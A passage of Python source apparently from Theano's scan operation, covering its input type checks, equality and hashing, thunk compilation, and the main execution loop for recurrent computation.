'of size d and scan uses the values of '
'the previous time-step, then the initial state in scan '
'should be a matrix of shape (1, d). '
'The first dimension of this '
'matrix corresponds to the number of previous time-steps '
'that scan uses in each of its iterations. '
'In order to solve this issue if the two variable currently '
'have the same dimensionality, you can increase the '
'dimensionality of the varialbe in the initial state of scan '
'by using dimshuffle or shape_padleft. '
)
err_msg2 = ('When compiling the inner function of scan the '
'following error has been encountered: The '
'initial state (`outputs_info` in scan nomenclature) '
'of variable %s (argument number %d) '
'has dtype %s, while the result of the inner function '
'(`fn`) has dtype %s. This can happen if the inner '
'function of scan results in an upcast or downcast.')
err_msg3 = ('When compiling the inner function of scan (the '
'function called by scan in each of its iterations) '
'the following error has been encountered: The '
'initial state (`outputs_info` in scan nomenclature) '
'of variable %s (argument number %d) has %d dimension(s), '
'while the corresponding variable in the result of the inner '
'function of scan (`fn`) has %d dimension(s) (it should '
'be one less than the initial state). For example, '
'if the inner function of scan returns a vector '
'of size d and scan uses the values of '
'the previous time-step, then the initial state in scan '
'should be a matrix of shape (1, d). '
'The first dimension of this '
'matrix corresponds to the number of previous time-steps '
'that scan uses in each of its iterations. '
'In order to solve this issue if the two varialbe currently '
'have the same dimensionality, you can increase the '
'dimensionality of the variable in the initial state of scan '
'by using dimshuffle or shape_padleft. '
)
def format(var, as_var):
""" This functions ensures that ``out`` has the same dtype as
``inp`` as well as calling filter_variable to make sure they are
both TensorType or CudaNdarrayType. It internally deals with the
corner case where inp.ndim + 1 = out.ndim
"""
if not hasattr(var, 'dtype'):
return var
rval = var
if rval.type.dtype != as_var.type.dtype:
rval = rval.astype(as_var.type.dtype)
if rval.ndim == as_var.ndim:
rval = as_var.type.filter_variable(rval)
else:
tmp = as_var.type.clone(
broadcastable=(tuple(var.broadcastable[:1]) +
tuple(as_var.broadcastable)))
rval = tmp.filter_variable(rval)
return rval
# Check if input sequences and variables representing a slice of
# them have the same dtype
argoffset = 0
for inner_seq, outer_seq in zip(self.inner_seqs(self.inputs),
self.outer_seqs(inputs)):
new_inputs.append(format(outer_seq, as_var=inner_seq))
argoffset += len(self.outer_seqs(inputs))
# Check that this 3 things have the same dtype for mit_mot:
# - initial state of the output
# - variable representing an input slice of the otuput
# - variable representing an output slice of the otuput
ipos = 0
opos = 0
inner_mitmot = self.inner_mitmot(self.inputs)
inner_mitmot_outs = self.inner_mitmot_outs(self.outputs)
for idx, (itaps, otaps, _outer_mitmot) in enumerate(
zip(self.mitmot_taps(),
self.mitmot_out_taps(),
self.outer_mitmot(inputs))):
outer_mitmot = format(_outer_mitmot, as_var=inner_mitmot[ipos])
new_inputs.append(outer_mitmot)
for k in xrange(len(itaps)):
if (inner_mitmot[ipos + k].type.dtype !=
outer_mitmot.type.dtype or
inner_mitmot[ipos + k].ndim != outer_mitmot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_mitmot),
argoffset + idx,
outer_mitmot.type.dtype,
outer_mitmot.type.ndim,
str(inner_mitmot[ipos + k]),
inner_mitmot[ipos +
k].type.dtype,
inner_mitmot[ipos + k].type.ndim))
ipos += len(itaps)
for k in xrange(len(otaps)):
if (inner_mitmot_outs[opos + k].type.dtype !=
outer_mitmot.type.dtype):
raise ValueError(err_msg2 %
(str(outer_mitmot),
argoffset + idx,
outer_mitmot.type.dtype,
inner_mitmot_outs[opos + k].type.dtype))
if inner_mitmot_outs[opos + k].ndim != outer_mitmot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_mitmot),
argoffset + idx,
outer_mitmot.ndim,
inner_mitmot_outs[opos + k].ndim))
opos += len(otaps)
argoffset += len(self.outer_mitmot(inputs))
# Same checks as above but for outputs of type mit_sot
ipos = 0
inner_mitsots = self.inner_mitsot(self.inputs)
for idx, (itaps, _outer_mitsot, inner_mitsot_out) in enumerate(
zip(self.mitsot_taps(),
self.outer_mitsot(inputs),
self.inner_mitsot_outs(self.outputs))):
outer_mitsot = format(_outer_mitsot, as_var=inner_mitsots[ipos])
new_inputs.append(outer_mitsot)
for k in xrange(len(itaps)):
if (inner_mitsots[ipos + k].type.dtype != \
outer_mitsot.type.dtype or
inner_mitsots[ipos + k].ndim != outer_mitsot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_mitsot),
argoffset + idx,
outer_mitsot.type.dtype,
outer_mitsot.type.ndim,
str(inner_mitsots[ipos + k]),
inner_mitsots[ipos + k].type.dtype,
inner_mitsots[ipos + k].type.ndim))
ipos += len(itaps)
if inner_mitsot_out.type.dtype != outer_mitsot.type.dtype:
raise ValueError(err_msg2 %
(str(outer_mitsot),
argoffset + idx,
outer_mitsot.type.dtype,
inner_mitsot_out.type.dtype))
if inner_mitsot_out.ndim != outer_mitsot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_mitsot),
argoffset + idx,
outer_mitsot.ndim,
inner_mitsot_out.ndim))
argoffset += len(self.outer_mitsot(inputs))
# Same checks as above but for outputs of type sit_sot
for idx, (inner_sitsot, _outer_sitsot, inner_sitsot_out) in enumerate(
zip(self.inner_sitsot(self.inputs),
self.outer_sitsot(inputs),
self.inner_sitsot_outs(self.outputs))):
outer_sitsot = format(_outer_sitsot, as_var=inner_sitsot)
new_inputs.append(outer_sitsot)
if (inner_sitsot.ndim != outer_sitsot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.dtype,
outer_sitsot.type.ndim,
str(inner_sitsot),
inner_sitsot.type.dtype,
inner_sitsot.type.ndim))
if inner_sitsot_out.type.dtype != outer_sitsot.type.dtype:
raise ValueError(err_msg2 %
(str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.dtype,
inner_sitsot_out.type.dtype))
if inner_sitsot_out.ndim != outer_sitsot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.ndim,
inner_sitsot_out.type.ndim))
argoffset += len(self.outer_sitsot(inputs))
# Check that the shared variable and their update rule have the same
# dtype. Maybe even same type ?!
for idx, (inner_shared, inner_shared_out, _outer_shared) in enumerate(
zip(self.inner_shared(self.inputs),
self.inner_shared_outs(self.outputs),
self.outer_shared(inputs))):
outer_shared = format(_outer_shared, as_var=inner_shared)
new_inputs.append(outer_shared)
if (hasattr(outer_shared, 'dtype') and
outer_shared.dtype != inner_shared_out.dtype):
raise ValueError(err_msg2 % (str(outer_shared),
idx + argoffset,
outer_shared.dtype,
inner_shared_out.dtype))
if (hasattr(outer_shared, 'dtype') and
outer_shared.ndim != inner_shared_out.ndim):
raise ValueError(err_msg3 % (str(outer_shared),
idx + argoffset,
outer_shared.ndim,
inner_shared_out.ndim))
if (hasattr(outer_shared, 'dtype') and
(outer_shared.dtype != inner_shared.dtype or
outer_shared.ndim != inner_shared.ndim)):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_shared),
argoffset + idx,
outer_shared.dtype,
outer_shared.ndim,
str(inner_shared),
inner_shared.dtype,
inner_shared.ndim))
# We do not need to call `format` on outer_nisot arguments.
# outer_nitsot stands for no input tap single output tap. This means
# these are states that do not feed anything back in the recurrent
# computation, and hence they do not have an initial state. The scan
# node however receives an input for each such argument, the input
# in this case is just a int saying how many steps of this output we
# need to store. This input does not have the same dtype, nor is it the same
# type of tensor as the output, it is always a scalar int.
new_inputs += self.outer_nitsot(inputs)
for inner_nonseq, _outer_nonseq in zip(
self.inner_non_seqs(self.inputs),
self.outer_non_seqs(inputs)):
outer_nonseq = format(_outer_nonseq, as_var=inner_nonseq)
new_inputs.append(outer_nonseq)
if inner_nonseq.type != outer_nonseq.type:
raise ValueError(('Argument %s given to scan node does not'
' match its correspondance %s') %
(str(outer_nonseq), str(inner_nonseq)))
for outer_nitsot in self.outer_nitsot(inputs):
# For every nit_sot input we get as input a int/uint that
# depicts the size in memory for that sequence. This feature is
# used by truncated BPTT and by scan space optimization
if (str(outer_nitsot.type.dtype)[:3] not in ('uin', 'int') or
outer_nitsot.ndim != 0):
raise ValueError('For output %s you need to provide a '
'scalar int !', str(outer_nitsot))
assert len(new_inputs) == len(inputs)
# The vector_seqs and vector_outs are just a workaround
# strange NumPy behavior: vector_ndarray[int] return a NumPy
# scalar and not a NumPy ndarray of 0 dimensions.
self.vector_seqs = [isinstance(seq, (tensor.TensorVariable,
tensor.TensorConstant)) and
seq.ndim == 1 for seq in
new_inputs[1:1 + self.n_seqs]]
self.vector_outs = [isinstance(arg, (tensor.TensorVariable,
tensor.TensorConstant)) and
arg.ndim == 1 for arg in
new_inputs[1 + self.n_seqs: (1 + self.n_seqs +
self.n_outs)]]
self.vector_outs += [False] * self.n_nit_sot
apply_node = Apply(self,
new_inputs,
[t() for t in self.output_types])
return apply_node
def __eq__(self, other):
# Check if we are dealing with same type of objects
if not type(self) == type(other):
return False
if not 'destroy_map' in self.info:
self.info['destroy_map'] = OrderedDict()
if not 'destroy_map' in other.info:
other.info['destroy_map'] = OrderedDict()
keys_to_check = ['truncate_gradient', 'profile',
'n_seqs', 'tap_array',
'as_while', 'n_mit_sot', 'destroy_map',
'n_nit_sot', 'n_shared_outs',
'n_sit_sot', 'gpu', 'gpua', 'n_mit_mot_outs',
'n_mit_mot', 'mit_mot_out_slices']
# This are some safety checks ( namely that the inner graph has the
# same number of inputs and same number of outputs )
if not len(self.inputs) == len(other.inputs):
return False
elif not len(self.outputs) == len(other.outputs):
return False
for key in keys_to_check:
if self.info[key] != other.info[key]:
return False
# If everything went OK up to here, there is still one thing to
# check. Namely, do the internal graph represent same
# computations
for self_in, other_in in izip(self.inputs, other.inputs):
if self_in.type != other_in.type:
return False
return scan_utils.equal_computations(self.outputs,
other.outputs,
self.inputs,
other.inputs)
def __str__(self):
if self.gpu:
gpu_str = 'gpu'
else:
gpu_str = 'cpu'
if self.as_while:
name = 'do_while'
else:
name = 'for'
aux_txt = '%s'
if getattr(self, 'destroy_map', None) is None:
self.destroy_map = OrderedDict()
if len(self.destroy_map.keys()) > 0:
# Check if all outputs are inplace
if (sorted(self.destroy_map.keys()) == \
sorted(range(self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot))):
aux_txt += 'all_inplace,%s,%s}'
else:
aux_txt += '{inplace{'
for k in self.destroy_map.keys():
aux_txt += str(k) + ','
aux_txt += '},%s,%s}'
else:
aux_txt += '{%s,%s}'
aux_txt = aux_txt % (name, gpu_str, str(self.name))
return aux_txt
def __hash__(self):
return hash((type(self),
# and a hash representing the inner graph using the
# CLinker.cmodule_key_
self._hash_inner_graph,
scan_utils.hash_listsDictsTuples(self.info)))
def make_thunk(self, node, storage_map, compute_map, no_recycling):
"""
:param node: something previously returned by self.make_node
:param storage_map: dict variable -> one-element-list where a computed
value for this variable may be found.
:param compute_map: dict variable -> one-element-list where a boolean
value will be found. The boolean indicates whether the
variable's storage_map container contains a valid value (True)
or if it has not been computed yet (False).
:param no_recycling: list of variables for which it is forbidden to
reuse memory allocated by a previous call.
:note: If the thunk consults the storage_map on every call, it is safe
for it to ignore the no_recycling argument, because elements of the
no_recycling list will have a value of None in the storage map. If
the thunk can potentially cache return values (like CLinker does),
then it must not do so for variables in the no_recycling list.
"""
# Before building the thunk, validate that the inner graph is
# coherent
self.validate_inner_graph()
# Setting up all my variables in what I believe is a more Cython
# friendly form
node_input_storage = [storage_map[r] for r in node.inputs]
node_output_storage = [storage_map[r] for r in node.outputs]
node_input_compute = [compute_map[r] for r in node.inputs]
node_output_compute = [compute_map[r] for r in node.outputs]
#_logger.debug('Compiling node %i of graph' % node_idx)
# If a shared variable is the result of a ViewOp it is a clear
# indication that we need to copy that value after the perform of
# scan is done
slices = (self.n_mit_mot_outs +
self.n_mit_sot +
self.n_sit_sot +
self.n_nit_sot)
if theano.config.scan.allow_output_prealloc:
wrapped_inputs = [Param(x, borrow=False) for x in
self.inputs]
wrapped_outputs = [Out(x, borrow=True) for x in
self.outputs[:slices]]
else:
wrapped_inputs = [Param(x, borrow=True) for x in
self.inputs]
wrapped_outputs = [Out(x, borrow=False) for x in
self.outputs[:slices]]
wrapped_outputs += self.outputs[slices:]
profile = None
if (theano.config.profile or
(isinstance(self.profile, (string_types, bool, int))
and self.profile)):
if isinstance(self.profile, string_types):
profile = ScanProfileStats(name=self.profile)
else:
profile = ScanProfileStats(name=self.name)
elif self.profile:
profile = self.profile
# make_thunk can be called many times on the same op
# we do not want to recompile the inner fct every time.
if not getattr(self, 'fn', None):
self.fn = function(wrapped_inputs,
wrapped_outputs,
mode=self.mode_instance,
name=self.name,
profile=profile,
on_unused_input='ignore')
try:
cython_mintaps = numpy.asarray(self.mintaps, dtype='int32')
cython_tap_array_len = \
numpy.asarray([len(x) for x in self.tap_array],
dtype='int32')
if len(self.tap_array) == 0:
d1 = 0
else:
d1 = numpy.max(cython_tap_array_len)
d0 = len(self.tap_array)
cython_tap_array = numpy.zeros((d0, d1), dtype='int32')
for _d0 in xrange(d0):
for _d1 in xrange(cython_tap_array_len[_d0]):
cython_tap_array[_d0, _d1] = self.tap_array[_d0][_d1]
cython_mit_mot_out_nslices = \
numpy.asarray([len(x) for x in self.mit_mot_out_slices],
dtype='int32')
if len(self.mit_mot_out_slices) == 0:
d1 = 0
else:
d1 = numpy.max(cython_mit_mot_out_nslices)
d0 = len(self.mit_mot_out_slices)
cython_mit_mot_out_slices = numpy.zeros((d0, d1),
dtype='int32')
for _d0 in xrange(d0):
for _d1 in xrange(cython_mit_mot_out_nslices[_d0]):
cython_mit_mot_out_slices[_d0, _d1] = \
self.mit_mot_out_slices[_d0][_d1]
cython_vector_seqs = numpy.asarray(self.vector_seqs,
dtype='int32')
cython_vector_outs = numpy.asarray(self.vector_outs,
dtype='int32')
if hasattr(self, 'destroy_map'):
cython_destroy_map = [x in self.destroy_map
for x in xrange(len(node.outputs))]
else:
cython_destroy_map = [0 for x in xrange(len(node.outputs))]
cython_destroy_map = numpy.asarray(cython_destroy_map,
dtype='int32')
from . import scan_perform_ext
p = lambda node, args, outs:\
scan_perform_ext.perform(
self.n_shared_outs,
self.n_mit_mot_outs,
self.n_seqs,
self.n_mit_mot,
self.n_mit_sot,
self.n_sit_sot,
self.n_nit_sot,
args[0],
self.as_while,
cython_mintaps,
cython_tap_array,
cython_tap_array_len,
cython_vector_seqs,
cython_vector_outs,
cython_mit_mot_out_slices,
cython_mit_mot_out_nslices,
self.fn.fn,
self.fn,
cython_destroy_map,
args,
outs,
self, node)
except (ImportError, theano.gof.cmodule.MissingGXX):
p = self.execute
# default arguments are stored in the closure of `rval`
# Big ugly hack since we can't get the real value of allow_gc
# for the englobing function.
allow_gc = config.allow_gc and not self.allow_gc
def rval(p=p, i=node_input_storage, o=node_output_storage, n=node,
allow_gc=allow_gc):
r = p(n, [x[0] for x in i], o)
for o in node.outputs:
compute_map[o][0] = True
if allow_gc:
self.fn.free()
return r
rval.inputs = node_input_storage
rval.outputs = node_output_storage
rval.perform = p
rval.lazy = False
return rval
def inner_seqs(self, list_inputs):
# Given the list of inner inputs this function grabs those
# corresponding to sequences
return list_inputs[:self.n_seqs]
def outer_seqs(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
# Given the list of outter inputs this function grabs those
# corresponding to sequences
return list_inputs[1:1 + self.n_seqs]
def inner_mitmot(self, list_inputs):
n_taps = sum(len(x) for x in self.tap_array[:self.n_mit_mot])
return list_inputs[self.n_seqs: self.n_seqs + n_taps]
def outer_mitmot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
return list_inputs[1 + self.n_seqs:1 + self.n_seqs + self.n_mit_mot]
def inner_mitmot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
return list_outputs[:n_taps]
def outer_mitmot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.ouputs
return list_outputs[:self.n_mit_mot]
def mitmot_taps(self):
return self.tap_array[:self.n_mit_mot]
def mitmot_out_taps(self):
return self.mit_mot_out_slices[:self.n_mit_mot]
def inner_mitsot(self, list_inputs):
n_mitmot_taps = sum(len(x) for x in self.tap_array[:self.n_mit_mot])
ntaps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
return list_inputs[self.n_seqs + n_mitmot_taps:
self.n_seqs + ntaps_upto_sit_sot]
def outer_mitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = 1 + self.n_seqs + self.n_mit_mot
return list_inputs[offset:offset + self.n_mit_sot]
def inner_mitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
return list_outputs[n_taps:n_taps + self.n_mit_sot]
def outer_mitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
return list_outputs[self.n_mit_mot:
self.n_mit_mot + self.n_mit_sot]
def mitsot_taps(self):
return self.tap_array[self.n_mit_mot:
self.n_mit_mot + self.n_mit_sot]
def inner_sitsot(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = self.n_seqs + n_taps_upto_sit_sot
return list_inputs[offset:offset + self.n_sit_sot]
def outer_sitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = 1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot
return list_inputs[offset:offset + self.n_sit_sot]
def inner_sitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps
return list_outputs[offset:offset + self.n_sit_sot]
def outer_sitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = self.n_mit_mot + self.n_mit_sot
return list_outputs[offset:offset + self.n_sit_sot]
def outer_nitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot + self.n_shared_outs)
return list_inputs[offset:offset + self.n_nit_sot]
def inner_nitsot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps + self.n_sit_sot
return list_outputs[offset:offset + self.n_nit_sot]
def outer_nitsot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = (self.n_mit_mot + self.n_mit_sot + self.n_sit_sot)
return list_outputs[offset:offset + self.n_nit_sot]
def inner_shared(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = self.n_seqs + n_taps_upto_sit_sot + self.n_sit_sot
return list_inputs[offset:offset + self.n_shared_outs]
def outer_shared(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot)
return list_inputs[offset:offset + self.n_shared_outs]
def inner_shared_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
offset = self.n_mit_sot + n_taps + self.n_sit_sot + self.n_nit_sot
return list_outputs[offset:offset + self.n_shared_outs]
def outer_shared_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.outputs
offset = (self.n_mit_mot + self.n_mit_sot + self.n_sit_sot +
self.n_nit_sot)
return list_outputs[offset:offset + self.n_shared_outs]
def inner_non_seqs(self, list_inputs):
n_taps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
offset = (self.n_seqs + n_taps_upto_sit_sot + self.n_sit_sot +
self.n_shared_outs)
return list_inputs[offset:]
def outer_non_seqs(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = (1 + self.n_seqs + self.n_mit_mot + self.n_mit_sot +
self.n_sit_sot + self.n_nit_sot + self.n_shared_outs)
return list_inputs[offset:]
def execute(self, node, args, outs):
"""
The args are packed like this:
n_steps
X sequence inputs x_1, x_2, ... x_<self.n_seqs>
Y initial states (u_1, u_2, ... u_<self.n_outs>) for our
outputs. Each must have appropriate length (T_1, T_2, ..., T_Y).
W other inputs w_1, w_2, ... w_W
There are at least 1 + self.n_seqs + self.n_outs inputs, and the
ones above this number are passed to the scanned function as
non-sequential inputs.
The outputs are more straightforward:
Y sequence outputs y_1, y_2, ... y_<self.n_outs>
"""
# 1. Unzip the number of steps and sequences. If number of steps is
# negative flip sequences around, and make n_steps positive
t0_call = time.time()
t_fn = 0
n_steps = args[0]
seqs = []
if n_steps < 0:
# History, in the past, this was used for backward
# scan. Now we reverse the inputs outside of scan.
raise IndexError(
"Scan was asked to run for negative number of step %d" %
n_steps)
elif n_steps == 0:
raise NotImplementedError(
"We didn't implemented yet the case where scan do 0 iteration")
else:
for idx, seq in enumerate(args[1:self.seqs_arg_offset]):
if seq.shape[0] < n_steps:
raise ValueError(('Sequence is shorter then the required '
'number of steps : (n_steps, seq, '
'seq.shape):'), n_steps,
node.inputs[1 + idx],
seq.shape)
seqs.append(seq)
# 2. Allocate memory for the outputs. Construct the list:
# store_steps -- map containting the length of each output
# pos -- map containing the current position of each
# output
store_steps = [arg.shape[0] for arg
in args[self.seqs_arg_offset:
self.shared_arg_offset]]
store_steps += [arg for arg in
args[self.nit_sot_arg_offset:
self.nit_sot_arg_offset + self.n_nit_sot]
]
pos = [(-self.mintaps[idx]) % store_steps[idx] for idx
in xrange(self.n_outs + self.n_nit_sot)]
if not getattr(self, 'destroy_map', None):
self.destroy_map = OrderedDict()
# 2.1 Create storage space for outputs
for idx in xrange(self.n_outs):
if idx in self.destroy_map:
# ^ Case 1. Outputs should be computed inplace of their
# initial state
outs[idx][0] = args[self.seqs_arg_offset + idx]
elif (outs[idx][0] is not None and
outs[idx][0].shape[1:] == args[self.seqs_arg_offset +
idx].shape[1:]
and outs[idx][0].shape[0] >= store_steps[idx]):
# Put in the values of the initial state
outs[idx][0] = outs[idx][0][:store_steps[idx]]
if idx > self.n_mit_mot:
l = - self.mintaps[idx]
outs[idx][0][:l] = args[self.seqs_arg_offset + idx][:l]
else:
outs[idx][0][:] = args[self.seqs_arg_offset + idx]
else:
outs[idx][0] = args[self.seqs_arg_offset + idx].copy()
offset = self.nit_sot_arg_offset + self.n_nit_sot
other_args = args[offset:]
input_storage = self.fn.input_storage
output_storage = self.fn.output_storage
old_output_storage = [None] * len(output_storage)
old_output_data = [None] * len(output_storage)
output_reused = [None] * len(output_storage)
fn = self.fn.fn
offset = (self.n_seqs + sum(map(len, self.tap_array[:self.n_outs])) +
self.n_shared_outs)
for idx in xrange(len(other_args)):
input_storage[idx + offset].storage[0] = other_args[idx]
i = 0
cond = True
############## THE MAIN LOOP #########################
# for i in xrange(n_steps):
while (i < n_steps) and cond:
# sequences over which scan iterates
# 3. collect input slices
for idx in xrange(self.n_seqs):
if self.vector_seqs[idx]:
input_storage[idx].storage[0] = \
seqs[idx][i:i + 1].reshape(())
else:
input_storage[idx].storage[0] = seqs[idx][i]
offset = self.n_seqs
for idx in xrange(self.n_outs):
if self.vector_outs[idx]:
for tap in self.tap_array[idx]:
_idx = (pos[idx] + tap) % store_steps[idx]
input_storage[offset].storage[0] =\
outs[idx][0][_idx:_idx + 1].reshape(())
offset += 1
else:
for tap in self.tap_array[idx]:
_idx = (pos[idx] + tap) % store_steps[idx]
input_storage[offset].storage[0] = outs[idx][0][_idx]
offset += 1
a_offset = self.shared_arg_offset
o_offset = self.n_outs + self.n_nit_sot
if i == 0:
for j in xrange(self.n_shared_outs):
input_storage[offset].storage[0] = args[a_offset + j]
offset += 1
else:
for j in xrange(self.n_shared_outs):
input_storage[offset].storage[0] = outs[o_offset + j][0]
offset += 1
# 4. collecting slices where the output should be stored
# 4.1. Collect slices for mitmots
for idx in xrange(self.n_mit_mot_outs):
output_storage[idx].storage[0] = None
# 4.2. Collect slices for mitsots, sitsots and nitsots
offset = self.n_mit_mot_outs
if i != 0:
for idx in xrange(self.n_outs + self.n_nit_sot -
self.n_mit_mot):
if (store_steps[idx + self.n_mit_mot] == 1 or
self.vector_outs[idx + self.n_mit_mot]):
output_storage[idx + offset].storage[0] = None
else:
_pos0 = idx + self.n_mit_mot
output_storage[idx + offset].storage[0] =\
outs[_pos0][0][pos[_pos0]]
else:
for idx in xrange(self.n_outs + self.n_nit_sot -
self.n_mit_mot):
output_storage[idx + offset].storage[0] = None
# 4.3. Collect slices for shared outputs
offset += self.n_outs + self.n_nit_sot - self.n_mit_mot
for idx in xrange(self.n_shared_outs):
output_storage[idx + offset].storage[0] = None
# 4.4. If there is a condition add it to the mix
if self.as_while:
pdx = offset + self.n_shared_outs
output_storage[pdx].storage[0] = None
# 4.5. Keep a reference to the variables (ndarrays, CudaNdarrays,
# etc) currently in the output_storage to be able to compare them
# with the actual outputs of the inner function after its
# execution. Also keep pointers to their data to be able to detect
# cases where outputs reused the allocated object but alter the
# memory region they refer to.
for idx in xrange(len(output_storage)):
var = output_storage[idx].storage[0]
old_output_storage[idx] = var
if hasattr(var, 'gpudata'):
old_output_data[idx] = var.gpudata
elif hasattr(var, 'data'):
old_output_data[idx] = var.data
else:
old_output_data[idx] = None
# 5. compute outputs
t0_fn = time.time()
try:
fn()
except Exception:
if hasattr(fn, 'position_of_error'):
# this is a new vm-provided function or c linker
# they need this because the exception manipulation
# done by raise_with_op is not implemented in C.
if hasattr(fn, 'thunks'):
# For the CVM
gof.link.raise_with_op(fn.nodes[fn.position_of_error],
fn.thunks[fn.position_of_error])
else:
# For the c linker
# We don't have access from python to all the
# temps values So for now, we just don't print
# the extra shapes/strides info
gof.vm.raise_with_op(fn.nodes[fn.position_of_error])
else:
# old-style linkers raise their own exceptions
raise
dt_fn = time.time() - t0_fn
if self.as_while:
pdx = offset + self.n_shared_outs
cond = output_storage[pdx].storage[0] == 0
# Check which of the pre-allocated outputs (if applicable) have
# been reused by the inner function
for idx in xrange(len(output_storage)):
# If the storage map does not contain the same object, then
# the pre-allocated output has not been reused
new_var = output_storage[idx].storage[0]
if old_output_storage[idx] is new_var:
# The pre-allocated output is only considered as having
# been reused if it still points to the same data as it
# did before the execution of the inner function
if old_output_data[idx] is None:
output_reused[idx] = False
else:
if hasattr(new_var, 'gpudata'):
output_reused[idx] = (new_var.gpudata ==
old_output_data[idx])
elif hasattr(new_var, 'data'):
output_reused[idx] = (new_var.data ==
old_output_data[idx])
else:
output_reused[idx] = False
t_fn += dt_fn
offset_out = 0
# 5.1 Copy over the values for mit_mot outputs
for j in xrange(self.n_mit_mot):
for k in self.mit_mot_out_slices[j]:
outs[j][0][k + pos[j]] = \
output_storage[offset_out].storage[0]
offset_out += 1
# 5.2 Copy over the values for mit_sot/sit_sot outputs
begin = self.n_mit_mot
end = self.n_outs
offset_out -= self.n_mit_mot
for j in xrange(begin, end):
if (store_steps[j] == 1 or self.vector_outs[j] or
not output_reused[offset_out + j]):
outs[j][0][pos[j]] = \
output_storage[offset_out + j].storage[0]
# 5.3 Copy over the values for nit_sot outputs
begin = end
end += self.n_nit_sot
for j in xrange(begin, end):
if i == 0:
jout = j + offset_out
shape = (store_steps[j],) + \
output_storage[jout].storage[0].shape
if len(output_storage[jout].storage[0].shape) == 0:
self.vector_outs[j] = True
dtype = output_storage[jout].storage[0].dtype
if (outs[j][0] is None or
outs[j][0].shape[0] < store_steps[j] or
outs[j][0].shape[1:] != shape[1:] or
outs[j][0].dtype != dtype):
outs[j][0] = node.outputs[j].type.value_zeros(shape)
elif outs[j][0].shape[0] != store_steps[j]:
outs[j][0] = outs[j][0][:store_steps[j]]
outs[j][0][pos[j]] = output_storage[jout].storage[0]
elif (store_steps[j] == 1 or self.vector_outs[j] or
not output_reused[offset_out + j]):
outs[j][0][pos[j]] = \
output_storage[j + offset_out].storage[0]
# 5.4 Copy over the values for outputs corresponding to shared
# variables
begin = end
end += self.n_shared_outs
for j in xrange(begin, end):
jout = j + offset_out
outs[j][0] = output_storage[jout].storage[0]
pos = [(idx + 1) % store for idx, store in
izip(pos, store_steps)]
i = i + 1
# 6. Check if you need to re-order output buffers
begin = self.n_mit_mot
end = self.n_outs + self.n_nit_sot
for idx in xrange(begin, end):
if (store_steps[idx] < i - self.mintaps[idx] and
pos[idx] < store_steps[idx]):
pdx = pos[idx]
if pdx >= store_steps[idx] // 2:
# It seems inefficient to copy the bigger part of the
# array over, and back, but it is the only way that
# there is no overlap in the areas of out[idx][0] that
# are read and written.
# This way, there will be no information overwritten
# before it is read (as it used to happen).
shape = (pdx,) + outs[idx][0].shape[1:]
tmp = node.outputs[idx].type.value_zeros(shape)
tmp[:] = outs[idx][0][:pdx]
outs[idx][0][:store_steps[idx] - pdx] = outs[idx][0][pdx:]
outs[idx][0][store_steps[idx] - pdx:] = tmp
del tmp
else:
shape = (store_steps[idx] - pdx,) + outs[idx][0].shape[1:]
tmp = node.outputs[idx].type.value_zeros(shape)
tmp[:] = outs[idx][0][pdx:]
outs[idx][0][store_steps[idx] - pdx:] = outs[idx][0][:pdx]
outs[idx][0][:store_steps[idx] - pdx] = tmp
del tmp
# This would normally happen only when doing truncated
# backpropagation through time. In such a scenarion Scan is
# expected to return 0 for all entries for which the gradient is
# not actually computed
elif store_steps[idx] > i - self.mintaps[idx]:
outs[idx][0][i - self.mintaps[idx]:] = 0
# This is a fix for a bug introduced by while. If you say
# you want to loop up to a condition, you expect the output
# to have that length ( and not the maximal length possible)
#
# Without this the behaviour of a scan op is not consistent
# if optimization gets applied compared to when optimization
# do not get applied
if i < n_steps:
# The reason I don't use out[idx][0][:i] is because for
